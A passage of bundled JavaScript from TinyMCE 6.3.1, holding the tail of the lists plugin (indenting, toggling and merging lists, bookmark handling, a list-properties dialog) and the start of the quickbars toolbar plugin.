      const normalizedEntries = normalizeEntries(entries);
      return map(normalizedEntries, entry => {
        const content = fromElements(entry.content);
        return SugarElement.fromDom(createTextBlock(editor, content.dom));
      });
    };
    const indentedComposer = (editor, entries) => {
      const normalizedEntries = normalizeEntries(entries);
      return composeList(editor.contentDocument, normalizedEntries).toArray();
    };
    const composeEntries = (editor, entries) => bind(groupBy(entries, isIndented), entries => {
      const groupIsIndented = head(entries).exists(isIndented);
      return groupIsIndented ? indentedComposer(editor, entries) : outdentedComposer(editor, entries);
    });
    const indentSelectedEntries = (entries, indentation) => {
      each$1(filter$1(entries, isSelected), entry => indentEntry(indentation, entry));
    };
    const getItemSelection = editor => {
      const selectedListItems = map(getSelectedListItems(editor), SugarElement.fromDom);
      return lift2(find(selectedListItems, not(hasFirstChildList)), find(reverse(selectedListItems), not(hasFirstChildList)), (start, end) => ({
        start,
        end
      }));
    };
    const listIndentation = (editor, lists, indentation) => {
      const entrySets = parseLists(lists, getItemSelection(editor));
      each$1(entrySets, entrySet => {
        indentSelectedEntries(entrySet.entries, indentation);
        const composedLists = composeEntries(editor, entrySet.entries);
        each$1(composedLists, composedList => {
          fireListEvent(editor, indentation === 'Indent' ? 'IndentList' : 'OutdentList', composedList.dom);
        });
        before(entrySet.sourceList, composedLists);
        remove(entrySet.sourceList);
      });
    };

    const selectionIndentation = (editor, indentation) => {
      const lists = fromDom(getSelectedListRoots(editor));
      const dlItems = fromDom(getSelectedDlItems(editor));
      let isHandled = false;
      if (lists.length || dlItems.length) {
        const bookmark = editor.selection.getBookmark();
        listIndentation(editor, lists, indentation);
        dlIndentation(editor, indentation, dlItems);
        editor.selection.moveToBookmark(bookmark);
        editor.selection.setRng(normalizeRange(editor.selection.getRng()));
        editor.nodeChanged();
        isHandled = true;
      }
      return isHandled;
    };
    const handleIndentation = (editor, indentation) => !selectionIsWithinNonEditableList(editor) && selectionIndentation(editor, indentation);
    const indentListSelection = editor => handleIndentation(editor, 'Indent');
    const outdentListSelection = editor => handleIndentation(editor, 'Outdent');
    const flattenListSelection = editor => handleIndentation(editor, 'Flatten');

    var global = tinymce.util.Tools.resolve('tinymce.dom.BookmarkManager');

    const DOM$1 = global$2.DOM;
    const createBookmark = rng => {
      const bookmark = {};
      const setupEndPoint = start => {
        let container = rng[start ? 'startContainer' : 'endContainer'];
        let offset = rng[start ? 'startOffset' : 'endOffset'];
        if (isElement(container)) {
          const offsetNode = DOM$1.create('span', { 'data-mce-type': 'bookmark' });
          if (container.hasChildNodes()) {
            offset = Math.min(offset, container.childNodes.length - 1);
            if (start) {
              container.insertBefore(offsetNode, container.childNodes[offset]);
            } else {
              DOM$1.insertAfter(offsetNode, container.childNodes[offset]);
            }
          } else {
            container.appendChild(offsetNode);
          }
          container = offsetNode;
          offset = 0;
        }
        bookmark[start ? 'startContainer' : 'endContainer'] = container;
        bookmark[start ? 'startOffset' : 'endOffset'] = offset;
      };
      setupEndPoint(true);
      if (!rng.collapsed) {
        setupEndPoint();
      }
      return bookmark;
    };
    const resolveBookmark = bookmark => {
      const restoreEndPoint = start => {
        const nodeIndex = container => {
          var _a;
          let node = (_a = container.parentNode) === null || _a === void 0 ? void 0 : _a.firstChild;
          let idx = 0;
          while (node) {
            if (node === container) {
              return idx;
            }
            if (!isElement(node) || node.getAttribute('data-mce-type') !== 'bookmark') {
              idx++;
            }
            node = node.nextSibling;
          }
          return -1;
        };
        let container = bookmark[start ? 'startContainer' : 'endContainer'];
        let offset = bookmark[start ? 'startOffset' : 'endOffset'];
        if (!container) {
          return;
        }
        if (isElement(container) && container.parentNode) {
          const node = container;
          offset = nodeIndex(container);
          container = container.parentNode;
          DOM$1.remove(node);
          if (!container.hasChildNodes() && DOM$1.isBlock(container)) {
            container.appendChild(DOM$1.create('br'));
          }
        }
        bookmark[start ? 'startContainer' : 'endContainer'] = container;
        bookmark[start ? 'startOffset' : 'endOffset'] = offset;
      };
      restoreEndPoint(true);
      restoreEndPoint();
      const rng = DOM$1.createRng();
      rng.setStart(bookmark.startContainer, bookmark.startOffset);
      if (bookmark.endContainer) {
        rng.setEnd(bookmark.endContainer, bookmark.endOffset);
      }
      return normalizeRange(rng);
    };

    const listToggleActionFromListName = listName => {
      switch (listName) {
      case 'UL':
        return 'ToggleUlList';
      case 'OL':
        return 'ToggleOlList';
      case 'DL':
        return 'ToggleDLList';
      }
    };

    const updateListStyle = (dom, el, detail) => {
      const type = detail['list-style-type'] ? detail['list-style-type'] : null;
      dom.setStyle(el, 'list-style-type', type);
    };
    const setAttribs = (elm, attrs) => {
      global$1.each(attrs, (value, key) => {
        elm.setAttribute(key, value);
      });
    };
    const updateListAttrs = (dom, el, detail) => {
      setAttribs(el, detail['list-attributes']);
      global$1.each(dom.select('li', el), li => {
        setAttribs(li, detail['list-item-attributes']);
      });
    };
    const updateListWithDetails = (dom, el, detail) => {
      updateListStyle(dom, el, detail);
      updateListAttrs(dom, el, detail);
    };
    const removeStyles = (dom, element, styles) => {
      global$1.each(styles, style => dom.setStyle(element, style, ''));
    };
    const getEndPointNode = (editor, rng, start, root) => {
      let container = rng[start ? 'startContainer' : 'endContainer'];
      const offset = rng[start ? 'startOffset' : 'endOffset'];
      if (isElement(container)) {
        container = container.childNodes[Math.min(offset, container.childNodes.length - 1)] || container;
      }
      if (!start && isBr(container.nextSibling)) {
        container = container.nextSibling;
      }
      while (container.parentNode !== root) {
        const parent = container.parentNode;
        if (isTextBlock(editor, container)) {
          return container;
        }
        if (/^(TD|TH)$/.test(parent.nodeName)) {
          return container;
        }
        container = parent;
      }
      return container;
    };
    const getSelectedTextBlocks = (editor, rng, root) => {
      const textBlocks = [];
      const dom = editor.dom;
      const startNode = getEndPointNode(editor, rng, true, root);
      const endNode = getEndPointNode(editor, rng, false, root);
      let block;
      const siblings = [];
      for (let node = startNode; node; node = node.nextSibling) {
        siblings.push(node);
        if (node === endNode) {
          break;
        }
      }
      global$1.each(siblings, node => {
        var _a;
        if (isTextBlock(editor, node)) {
          textBlocks.push(node);
          block = null;
          return;
        }
        if (dom.isBlock(node) || isBr(node)) {
          if (isBr(node)) {
            dom.remove(node);
          }
          block = null;
          return;
        }
        const nextSibling = node.nextSibling;
        if (global.isBookmarkNode(node)) {
          if (isListNode(nextSibling) || isTextBlock(editor, nextSibling) || !nextSibling && node.parentNode === root) {
            block = null;
            return;
          }
        }
        if (!block) {
          block = dom.create('p');
          (_a = node.parentNode) === null || _a === void 0 ? void 0 : _a.insertBefore(block, node);
          textBlocks.push(block);
        }
        block.appendChild(node);
      });
      return textBlocks;
    };
    const hasCompatibleStyle = (dom, sib, detail) => {
      const sibStyle = dom.getStyle(sib, 'list-style-type');
      let detailStyle = detail ? detail['list-style-type'] : '';
      detailStyle = detailStyle === null ? '' : detailStyle;
      return sibStyle === detailStyle;
    };
    const applyList = (editor, listName, detail) => {
      const rng = editor.selection.getRng();
      let listItemName = 'LI';
      const root = getClosestListHost(editor, editor.selection.getStart(true));
      const dom = editor.dom;
      if (dom.getContentEditable(editor.selection.getNode()) === 'false') {
        return;
      }
      listName = listName.toUpperCase();
      if (listName === 'DL') {
        listItemName = 'DT';
      }
      const bookmark = createBookmark(rng);
      const selectedTextBlocks = getSelectedTextBlocks(editor, rng, root);
      global$1.each(selectedTextBlocks, block => {
        let listBlock;
        const sibling = block.previousSibling;
        const parent = block.parentNode;
        if (!isListItemNode(parent)) {
          if (sibling && isListNode(sibling) && sibling.nodeName === listName && hasCompatibleStyle(dom, sibling, detail)) {
            listBlock = sibling;
            block = dom.rename(block, listItemName);
            sibling.appendChild(block);
          } else {
            listBlock = dom.create(listName);
            parent.insertBefore(listBlock, block);
            listBlock.appendChild(block);
            block = dom.rename(block, listItemName);
          }
          removeStyles(dom, block, [
            'margin',
            'margin-right',
            'margin-bottom',
            'margin-left',
            'margin-top',
            'padding',
            'padding-right',
            'padding-bottom',
            'padding-left',
            'padding-top'
          ]);
          updateListWithDetails(dom, listBlock, detail);
          mergeWithAdjacentLists(editor.dom, listBlock);
        }
      });
      editor.selection.setRng(resolveBookmark(bookmark));
    };
    const isValidLists = (list1, list2) => {
      return isListNode(list1) && list1.nodeName === (list2 === null || list2 === void 0 ? void 0 : list2.nodeName);
    };
    const hasSameListStyle = (dom, list1, list2) => {
      const targetStyle = dom.getStyle(list1, 'list-style-type', true);
      const style = dom.getStyle(list2, 'list-style-type', true);
      return targetStyle === style;
    };
    const hasSameClasses = (elm1, elm2) => {
      return elm1.className === elm2.className;
    };
    const shouldMerge = (dom, list1, list2) => {
      return isValidLists(list1, list2) && hasSameListStyle(dom, list1, list2) && hasSameClasses(list1, list2);
    };
    const mergeWithAdjacentLists = (dom, listBlock) => {
      let node;
      let sibling = listBlock.nextSibling;
      if (shouldMerge(dom, listBlock, sibling)) {
        const liSibling = sibling;
        while (node = liSibling.firstChild) {
          listBlock.appendChild(node);
        }
        dom.remove(liSibling);
      }
      sibling = listBlock.previousSibling;
      if (shouldMerge(dom, listBlock, sibling)) {
        const liSibling = sibling;
        while (node = liSibling.lastChild) {
          listBlock.insertBefore(node, listBlock.firstChild);
        }
        dom.remove(liSibling);
      }
    };
    const updateList$1 = (editor, list, listName, detail) => {
      if (list.nodeName !== listName) {
        const newList = editor.dom.rename(list, listName);
        updateListWithDetails(editor.dom, newList, detail);
        fireListEvent(editor, listToggleActionFromListName(listName), newList);
      } else {
        updateListWithDetails(editor.dom, list, detail);
        fireListEvent(editor, listToggleActionFromListName(listName), list);
      }
    };
    const toggleMultipleLists = (editor, parentList, lists, listName, detail) => {
      const parentIsList = isListNode(parentList);
      if (parentIsList && parentList.nodeName === listName && !hasListStyleDetail(detail)) {
        flattenListSelection(editor);
      } else {
        applyList(editor, listName, detail);
        const bookmark = createBookmark(editor.selection.getRng());
        const allLists = parentIsList ? [
          parentList,
          ...lists
        ] : lists;
        global$1.each(allLists, elm => {
          updateList$1(editor, elm, listName, detail);
        });
        editor.selection.setRng(resolveBookmark(bookmark));
      }
    };
    const hasListStyleDetail = detail => {
      return 'list-style-type' in detail;
    };
    const toggleSingleList = (editor, parentList, listName, detail) => {
      if (parentList === editor.getBody()) {
        return;
      }
      if (parentList) {
        if (parentList.nodeName === listName && !hasListStyleDetail(detail) && !isCustomList(parentList)) {
          flattenListSelection(editor);
        } else {
          const bookmark = createBookmark(editor.selection.getRng());
          updateListWithDetails(editor.dom, parentList, detail);
          const newList = editor.dom.rename(parentList, listName);
          mergeWithAdjacentLists(editor.dom, newList);
          editor.selection.setRng(resolveBookmark(bookmark));
          applyList(editor, listName, detail);
          fireListEvent(editor, listToggleActionFromListName(listName), newList);
        }
      } else {
        applyList(editor, listName, detail);
        fireListEvent(editor, listToggleActionFromListName(listName), parentList);
      }
    };
    const toggleList = (editor, listName, _detail) => {
      const parentList = getParentList(editor);
      if (isWithinNonEditableList(editor, parentList)) {
        return;
      }
      const selectedSubLists = getSelectedSubLists(editor);
      const detail = isObject(_detail) ? _detail : {};
      if (selectedSubLists.length > 0) {
        toggleMultipleLists(editor, parentList, selectedSubLists, listName, detail);
      } else {
        toggleSingleList(editor, parentList, listName, detail);
      }
    };

    const DOM = global$2.DOM;
    const normalizeList = (dom, list) => {
      const parentNode = list.parentElement;
      if (parentNode && parentNode.nodeName === 'LI' && parentNode.firstChild === list) {
        const sibling = parentNode.previousSibling;
        if (sibling && sibling.nodeName === 'LI') {
          sibling.appendChild(list);
          if (isEmpty$1(dom, parentNode)) {
            DOM.remove(parentNode);
          }
        } else {
          DOM.setStyle(parentNode, 'listStyleType', 'none');
        }
      }
      if (isListNode(parentNode)) {
        const sibling = parentNode.previousSibling;
        if (sibling && sibling.nodeName === 'LI') {
          sibling.appendChild(list);
        }
      }
    };
    const normalizeLists = (dom, element) => {
      const lists = global$1.grep(dom.select('ol,ul', element));
      global$1.each(lists, list => {
        normalizeList(dom, list);
      });
    };

    const findNextCaretContainer = (editor, rng, isForward, root) => {
      let node = rng.startContainer;
      const offset = rng.startOffset;
      if (isTextNode(node) && (isForward ? offset < node.data.length : offset > 0)) {
        return node;
      }
      const nonEmptyBlocks = editor.schema.getNonEmptyElements();
      if (isElement(node)) {
        node = global$5.getNode(node, offset);
      }
      const walker = new global$4(node, root);
      if (isForward) {
        if (isBogusBr(editor.dom, node)) {
          walker.next();
        }
      }
      const walkFn = isForward ? walker.next.bind(walker) : walker.prev2.bind(walker);
      while (node = walkFn()) {
        if (node.nodeName === 'LI' && !node.hasChildNodes()) {
          return node;
        }
        if (nonEmptyBlocks[node.nodeName]) {
          return node;
        }
        if (isTextNode(node) && node.data.length > 0) {
          return node;
        }
      }
      return null;
    };
    const hasOnlyOneBlockChild = (dom, elm) => {
      const childNodes = elm.childNodes;
      return childNodes.length === 1 && !isListNode(childNodes[0]) && dom.isBlock(childNodes[0]);
    };
    const unwrapSingleBlockChild = (dom, elm) => {
      if (hasOnlyOneBlockChild(dom, elm)) {
        dom.remove(elm.firstChild, true);
      }
    };
    const moveChildren = (dom, fromElm, toElm) => {
      let node;
      const targetElm = hasOnlyOneBlockChild(dom, toElm) ? toElm.firstChild : toElm;
      unwrapSingleBlockChild(dom, fromElm);
      if (!isEmpty$1(dom, fromElm, true)) {
        while (node = fromElm.firstChild) {
          targetElm.appendChild(node);
        }
      }
    };
    const mergeLiElements = (dom, fromElm, toElm) => {
      let listNode;
      const ul = fromElm.parentNode;
      if (!isChildOfBody(dom, fromElm) || !isChildOfBody(dom, toElm)) {
        return;
      }
      if (isListNode(toElm.lastChild)) {
        listNode = toElm.lastChild;
      }
      if (ul === toElm.lastChild) {
        if (isBr(ul.previousSibling)) {
          dom.remove(ul.previousSibling);
        }
      }
      const node = toElm.lastChild;
      if (node && isBr(node) && fromElm.hasChildNodes()) {
        dom.remove(node);
      }
      if (isEmpty$1(dom, toElm, true)) {
        empty(SugarElement.fromDom(toElm));
      }
      moveChildren(dom, fromElm, toElm);
      if (listNode) {
        toElm.appendChild(listNode);
      }
      const contains$1 = contains(SugarElement.fromDom(toElm), SugarElement.fromDom(fromElm));
      const nestedLists = contains$1 ? dom.getParents(fromElm, isListNode, toElm) : [];
      dom.remove(fromElm);
      each$1(nestedLists, list => {
        if (isEmpty$1(dom, list) && list !== dom.getRoot()) {
          dom.remove(list);
        }
      });
    };
    const mergeIntoEmptyLi = (editor, fromLi, toLi) => {
      empty(SugarElement.fromDom(toLi));
      mergeLiElements(editor.dom, fromLi, toLi);
      editor.selection.setCursorLocation(toLi, 0);
    };
    const mergeForward = (editor, rng, fromLi, toLi) => {
      const dom = editor.dom;
      if (dom.isEmpty(toLi)) {
        mergeIntoEmptyLi(editor, fromLi, toLi);
      } else {
        const bookmark = createBookmark(rng);
        mergeLiElements(dom, fromLi, toLi);
        editor.selection.setRng(resolveBookmark(bookmark));
      }
    };
    const mergeBackward = (editor, rng, fromLi, toLi) => {
      const bookmark = createBookmark(rng);
      mergeLiElements(editor.dom, fromLi, toLi);
      const resolvedBookmark = resolveBookmark(bookmark);
      editor.selection.setRng(resolvedBookmark);
    };
    const backspaceDeleteFromListToListCaret = (editor, isForward) => {
      const dom = editor.dom, selection = editor.selection;
      const selectionStartElm = selection.getStart();
      const root = getClosestEditingHost(editor, selectionStartElm);
      const li = dom.getParent(selection.getStart(), 'LI', root);
      if (li) {
        const ul = li.parentElement;
        if (ul === editor.getBody() && isEmpty$1(dom, ul)) {
          return true;
        }
        const rng = normalizeRange(selection.getRng());
        const otherLi = dom.getParent(findNextCaretContainer(editor, rng, isForward, root), 'LI', root);
        if (otherLi && otherLi !== li) {
          editor.undoManager.transact(() => {
            if (isForward) {
              mergeForward(editor, rng, otherLi, li);
            } else {
              if (isFirstChild(li)) {
                outdentListSelection(editor);
              } else {
                mergeBackward(editor, rng, li, otherLi);
              }
            }
          });
          return true;
        } else if (!otherLi) {
          if (!isForward && rng.startOffset === 0 && rng.endOffset === 0) {
            editor.undoManager.transact(() => {
              flattenListSelection(editor);
            });
            return true;
          }
        }
      }
      return false;
    };
    const removeBlock = (dom, block, root) => {
      const parentBlock = dom.getParent(block.parentNode, dom.isBlock, root);
      dom.remove(block);
      if (parentBlock && dom.isEmpty(parentBlock)) {
        dom.remove(parentBlock);
      }
    };
    const backspaceDeleteIntoListCaret = (editor, isForward) => {
      const dom = editor.dom;
      const selectionStartElm = editor.selection.getStart();
      const root = getClosestEditingHost(editor, selectionStartElm);
      const block = dom.getParent(selectionStartElm, dom.isBlock, root);
      if (block && dom.isEmpty(block)) {
        const rng = normalizeRange(editor.selection.getRng());
        const otherLi = dom.getParent(findNextCaretContainer(editor, rng, isForward, root), 'LI', root);
        if (otherLi) {
          const findValidElement = element => contains$1([
            'td',
            'th',
            'caption'
          ], name(element));
          const findRoot = node => node.dom === root;
          const otherLiCell = closest(SugarElement.fromDom(otherLi), findValidElement, findRoot);
          const caretCell = closest(SugarElement.fromDom(rng.startContainer), findValidElement, findRoot);
          if (!equals(otherLiCell, caretCell, eq)) {
            return false;
          }
          editor.undoManager.transact(() => {
            removeBlock(dom, block, root);
            mergeWithAdjacentLists(dom, otherLi.parentNode);
            editor.selection.select(otherLi, true);
            editor.selection.collapse(isForward);
          });
          return true;
        }
      }
      return false;
    };
    const backspaceDeleteCaret = (editor, isForward) => {
      return backspaceDeleteFromListToListCaret(editor, isForward) || backspaceDeleteIntoListCaret(editor, isForward);
    };
    const hasListSelection = editor => {
      const selectionStartElm = editor.selection.getStart();
      const root = getClosestEditingHost(editor, selectionStartElm);
      const startListParent = editor.dom.getParent(selectionStartElm, 'LI,DT,DD', root);
      return startListParent || getSelectedListItems(editor).length > 0;
    };
    const backspaceDeleteRange = editor => {
      if (hasListSelection(editor)) {
        editor.undoManager.transact(() => {
          editor.execCommand('Delete');
          normalizeLists(editor.dom, editor.getBody());
        });
        return true;
      }
      return false;
    };
    const backspaceDelete = (editor, isForward) => {
      const selection = editor.selection;
      return !isWithinNonEditableList(editor, selection.getNode()) && (selection.isCollapsed() ? backspaceDeleteCaret(editor, isForward) : backspaceDeleteRange(editor));
    };
    const setup$1 = editor => {
      editor.on('ExecCommand', e => {
        const cmd = e.command.toLowerCase();
        if ((cmd === 'delete' || cmd === 'forwarddelete') && hasListSelection(editor)) {
          normalizeLists(editor.dom, editor.getBody());
        }
      });
      editor.on('keydown', e => {
        if (e.keyCode === global$3.BACKSPACE) {
          if (backspaceDelete(editor, false)) {
            e.preventDefault();
          }
        } else if (e.keyCode === global$3.DELETE) {
          if (backspaceDelete(editor, true)) {
            e.preventDefault();
          }
        }
      });
    };

    const get = editor => ({
      backspaceDelete: isForward => {
        backspaceDelete(editor, isForward);
      }
    });

    const updateList = (editor, update) => {
      const parentList = getParentList(editor);
      if (parentList === null || isWithinNonEditableList(editor, parentList)) {
        return;
      }
      editor.undoManager.transact(() => {
        if (isObject(update.styles)) {
          editor.dom.setStyles(parentList, update.styles);
        }
        if (isObject(update.attrs)) {
          each(update.attrs, (v, k) => editor.dom.setAttrib(parentList, k, v));
        }
      });
    };

    const parseAlphabeticBase26 = str => {
      const chars = reverse(trim(str).split(''));
      const values = map(chars, (char, i) => {
        const charValue = char.toUpperCase().charCodeAt(0) - 'A'.charCodeAt(0) + 1;
        return Math.pow(26, i) * charValue;
      });
      return foldl(values, (sum, v) => sum + v, 0);
    };
    const composeAlphabeticBase26 = value => {
      value--;
      if (value < 0) {
        return '';
      } else {
        const remainder = value % 26;
        const quotient = Math.floor(value / 26);
        const rest = composeAlphabeticBase26(quotient);
        const char = String.fromCharCode('A'.charCodeAt(0) + remainder);
        return rest + char;
      }
    };
    const isUppercase = str => /^[A-Z]+$/.test(str);
    const isLowercase = str => /^[a-z]+$/.test(str);
    const isNumeric = str => /^[0-9]+$/.test(str);
    const deduceListType = start => {
      if (isNumeric(start)) {
        return 2;
      } else if (isUppercase(start)) {
        return 0;
      } else if (isLowercase(start)) {
        return 1;
      } else if (isEmpty(start)) {
        return 3;
      } else {
        return 4;
      }
    };
    const parseStartValue = start => {
      switch (deduceListType(start)) {
      case 2:
        return Optional.some({
          listStyleType: Optional.none(),
          start
        });
      case 0:
        return Optional.some({
          listStyleType: Optional.some('upper-alpha'),
          start: parseAlphabeticBase26(start).toString()
        });
      case 1:
        return Optional.some({
          listStyleType: Optional.some('lower-alpha'),
          start: parseAlphabeticBase26(start).toString()
        });
      case 3:
        return Optional.some({
          listStyleType: Optional.none(),
          start: ''
        });
      case 4:
        return Optional.none();
      }
    };
    const parseDetail = detail => {
      const start = parseInt(detail.start, 10);
      if (is$2(detail.listStyleType, 'upper-alpha')) {
        return composeAlphabeticBase26(start);
      } else if (is$2(detail.listStyleType, 'lower-alpha')) {
        return composeAlphabeticBase26(start).toLowerCase();
      } else {
        return detail.start;
      }
    };

    const open = editor => {
      const currentList = getParentList(editor);
      if (!isOlNode(currentList) || isWithinNonEditableList(editor, currentList)) {
        return;
      }
      editor.windowManager.open({
        title: 'List Properties',
        body: {
          type: 'panel',
          items: [{
              type: 'input',
              name: 'start',
              label: 'Start list at number',
              inputMode: 'numeric'
            }]
        },
        initialData: {
          start: parseDetail({
            start: editor.dom.getAttrib(currentList, 'start', '1'),
            listStyleType: Optional.from(editor.dom.getStyle(currentList, 'list-style-type'))
          })
        },
        buttons: [
          {
            type: 'cancel',
            name: 'cancel',
            text: 'Cancel'
          },
          {
            type: 'submit',
            name: 'save',
            text: 'Save',
            primary: true
          }
        ],
        onSubmit: api => {
          const data = api.getData();
          parseStartValue(data.start).each(detail => {
            editor.execCommand('mceListUpdate', false, {
              attrs: { start: detail.start === '1' ? '' : detail.start },
              styles: { 'list-style-type': detail.listStyleType.getOr('') }
            });
          });
          api.close();
        }
      });
    };

    const queryListCommandState = (editor, listName) => () => {
      const parentList = getParentList(editor);
      return isNonNullable(parentList) && parentList.nodeName === listName;
    };
    const registerDialog = editor => {
      editor.addCommand('mceListProps', () => {
        open(editor);
      });
    };
    const register$2 = editor => {
      editor.on('BeforeExecCommand', e => {
        const cmd = e.command.toLowerCase();
        if (cmd === 'indent') {
          indentListSelection(editor);
        } else if (cmd === 'outdent') {
          outdentListSelection(editor);
        }
      });
      editor.addCommand('InsertUnorderedList', (ui, detail) => {
        toggleList(editor, 'UL', detail);
      });
      editor.addCommand('InsertOrderedList', (ui, detail) => {
        toggleList(editor, 'OL', detail);
      });
      editor.addCommand('InsertDefinitionList', (ui, detail) => {
        toggleList(editor, 'DL', detail);
      });
      editor.addCommand('RemoveList', () => {
        flattenListSelection(editor);
      });
      registerDialog(editor);
      editor.addCommand('mceListUpdate', (ui, detail) => {
        if (isObject(detail)) {
          updateList(editor, detail);
        }
      });
      editor.addQueryStateHandler('InsertUnorderedList', queryListCommandState(editor, 'UL'));
      editor.addQueryStateHandler('InsertOrderedList', queryListCommandState(editor, 'OL'));
      editor.addQueryStateHandler('InsertDefinitionList', queryListCommandState(editor, 'DL'));
    };

    const setupTabKey = editor => {
      editor.on('keydown', e => {
        if (e.keyCode !== global$3.TAB || global$3.metaKeyPressed(e)) {
          return;
        }
        editor.undoManager.transact(() => {
          if (e.shiftKey ? outdentListSelection(editor) : indentListSelection(editor)) {
            e.preventDefault();
          }
        });
      });
    };
    const setup = editor => {
      if (shouldIndentOnTab(editor)) {
        setupTabKey(editor);
      }
      setup$1(editor);
    };

    const setupToggleButtonHandler = (editor, listName) => api => {
      const toggleButtonHandler = e => {
        api.setActive(inList(e.parents, listName));
        api.setEnabled(!isWithinNonEditableList(editor, e.element));
      };
      return setNodeChangeHandler(editor, toggleButtonHandler);
    };
    const register$1 = editor => {
      const exec = command => () => editor.execCommand(command);
      if (!editor.hasPlugin('advlist')) {
        editor.ui.registry.addToggleButton('numlist', {
          icon: 'ordered-list',
          active: false,
          tooltip: 'Numbered list',
          onAction: exec('InsertOrderedList'),
          onSetup: setupToggleButtonHandler(editor, 'OL')
        });
        editor.ui.registry.addToggleButton('bullist', {
          icon: 'unordered-list',
          active: false,
          tooltip: 'Bullet list',
          onAction: exec('InsertUnorderedList'),
          onSetup: setupToggleButtonHandler(editor, 'UL')
        });
      }
    };

    const setupMenuButtonHandler = (editor, listName) => api => {
      const menuButtonHandler = e => api.setEnabled(inList(e.parents, listName) && !isWithinNonEditableList(editor, e.element));
      return setNodeChangeHandler(editor, menuButtonHandler);
    };
    const register = editor => {
      const listProperties = {
        text: 'List properties...',
        icon: 'ordered-list',
        onAction: () => editor.execCommand('mceListProps'),
        onSetup: setupMenuButtonHandler(editor, 'OL')
      };
      editor.ui.registry.addMenuItem('listprops', listProperties);
      editor.ui.registry.addContextMenu('lists', {
        update: node => {
          const parentList = getParentList(editor, node);
          return isOlNode(parentList) ? ['listprops'] : [];
        }
      });
    };

    var Plugin = () => {
      global$6.add('lists', editor => {
        register$3(editor);
        if (!editor.hasPlugin('rtc', true)) {
          setup(editor);
          register$2(editor);
        } else {
          registerDialog(editor);
        }
        register$1(editor);
        register(editor);
        return get(editor);
      });
    };

    Plugin();

})();


/***/ }),
/* 23 */
/***/ ((__unused_webpack_module, __unused_webpack_exports, __webpack_require__) => {

// Exports the "quickbars" plugin for usage with module loaders
// Usage:
//   CommonJS:
//     require('tinymce/plugins/quickbars')
//   ES2015:
//     import 'tinymce/plugins/quickbars'
__webpack_require__(24);

/***/ }),
/* 24 */
/***/ (() => {

/**
 * TinyMCE version 6.3.1 (2022-12-06)
 */

(function () {
    'use strict';

    var global$2 = tinymce.util.Tools.resolve('tinymce.PluginManager');

    const hasProto = (v, constructor, predicate) => {
      var _a;
      if (predicate(v, constructor.prototype)) {
        return true;
      } else {
        return ((_a = v.constructor) === null || _a === void 0 ? void 0 : _a.name) === constructor.name;
      }
    };
    const typeOf = x => {
      const t = typeof x;
      if (x === null) {
        return 'null';
      } else if (t === 'object' && Array.isArray(x)) {
        return 'array';
      } else if (t === 'object' && hasProto(x, String, (o, proto) => proto.isPrototypeOf(o))) {
        return 'string';
      } else {
        return t;
      }
    };
    const isType = type => value => typeOf(value) === type;
    const isSimpleType = type => value => typeof value === type;
    const isString = isType('string');
    const isBoolean = isSimpleType('boolean');
    const isNullable = a => a === null || a === undefined;
    const isNonNullable = a => !isNullable(a);
    const isFunction = isSimpleType('function');

    const option = name => editor => editor.options.get(name);
    const register = editor => {
      const registerOption = editor.options.register;
      const toolbarProcessor = defaultValue => value => {
        const valid = isBoolean(value) || isString(value);
        if (valid) {
          if (isBoolean(value)) {
            return {
              value: value ? defaultValue : '',
              valid
            };
          } else {
            return {
              value: value.trim(),
              valid
            };
          }
        } else {
          return {
            valid: false,
            message: 'Must be a boolean or string.'
          };
        }
      };
      const defaultSelectionToolbar = 'bold italic | quicklink h2 h3 blockquote';
      registerOption('quickbars_selection_toolbar', {
        processor: toolbarProcessor(defaultSelectionToolbar),
        default: defaultSelectionToolbar
      });
      const defaultInsertToolbar = 'quickimage quicktable';
      registerOption('quickbars_insert_toolbar', {
        processor: toolbarProcessor(defaultInsertToolbar),
        default: defaultInsertToolbar
      });
      const defaultImageToolbar = 'alignleft aligncenter alignright';
      registerOption('quickbars_image_toolbar', {
        processor: toolbarProcessor(defaultImageToolbar),
        default: defaultImageToolbar
      });
    };
    const getTextSelectionToolbarItems = option('quickbars_selection_toolbar');
    const getInsertToolbarItems = option('quickbars_insert_toolbar');
    const getImageToolbarItems = option('quickbars_image_toolbar');

    let unique = 0;
    const generate = prefix => {
      const date = new Date();
      const time = date.getTime();
      const random = Math.floor(Math.random() * 1000000000);
      unique++;
      return prefix + '_' + random + unique + String(time);
    };

    const insertTable = (editor, columns, rows) => {
      editor.execCommand('mceInsertTable', false, {
        rows,
        columns
      });
    };
    const insertBlob = (editor, base64, blob) => {
      const blobCache = editor.editorUpload.blobCache;
      const blobInfo = blobCache.create(generate('mceu'), blob, base64);
      blobCache.add(blobInfo);
      editor.insertContent(editor.dom.createHTML('img', { src: blobInfo.blobUri() }));
    };

    const blobToBase64 = blob => {
      return new Promise(resolve => {
        const reader = new FileReader();
        reader.onloadend = () => {
          resolve(reader.result.split(',')[1]);
        };
        reader.readAsDataURL(blob);
      });
    };

    var global$1 = tinymce.util.Tools.resolve('tinymce.Env');

    var global = tinymce.util.Tools.resolve('tinymce.util.Delay');

    const pickFile = editor => new Promise(resolve => {
      const fileInput = document.createElement('input');
      fileInput.type = 'file';
      fileInput.accept = 'image/*';
      fileInput.style.position = 'fixed';
      fileInput.style.left = '0';
      fileInput.style.top = '0';
      fileInput.style.opacity = '0.001';
      document.body.appendChild(fileInput);
      const changeHandler = e => {
        resolve(Array.prototype.slice.call(e.target.files));
      };
      fileInput.addEventListener('change', changeHandler);
      const cancelHandler = e => {
        const cleanup = () => {
          var _a;
          resolve([]);
          (_a = fileInput.parentNode) === null || _a === void 0 ? void 0 : _a.removeChild(fileInput);
        };
        if (global$1.os.isAndroid() && e.type !== 'remove') {
          global.setEditorTimeout(editor, cleanup, 0);
        } else {
          cleanup();
        }
        editor.off('focusin remove', cancelHandler);
      };
      editor.on('focusin remove', cancelHandler);
      fileInput.click();
    });

    const setupButtons = editor => {
      editor.ui.registry.addButton('quickimage', {
        icon: 'image',
        tooltip: 'Insert image',
        onAction: () => {
          pickFile(editor).then(files => {
            if (files.length > 0) {
              const blob = files[0];
              blobToBase64(blob).then(base64 => {
                insertBlob(editor, base64, blob);
              });
            }
          });
        }
      });
      editor.ui.registry.addButton('quicktable', {
        icon: 'table',
        tooltip: 'Insert table',
        onAction: () => {
          insertTable(editor, 2, 2);
        }
      });
    };

    const constant = value => {
      return () => {
        return value;
      };
    };
    const never = constant(false);

    class Optional {
      constructor(tag, value) {
        this.tag = tag;
        this.value = value;
      }
      static some(value) {
        return new Optional(true, value);
      }
      static none() {
        return Optional.singletonNone;
      }
      fold(onNone, onSome) {
        if (this.tag) {
          return onSome(this.value);
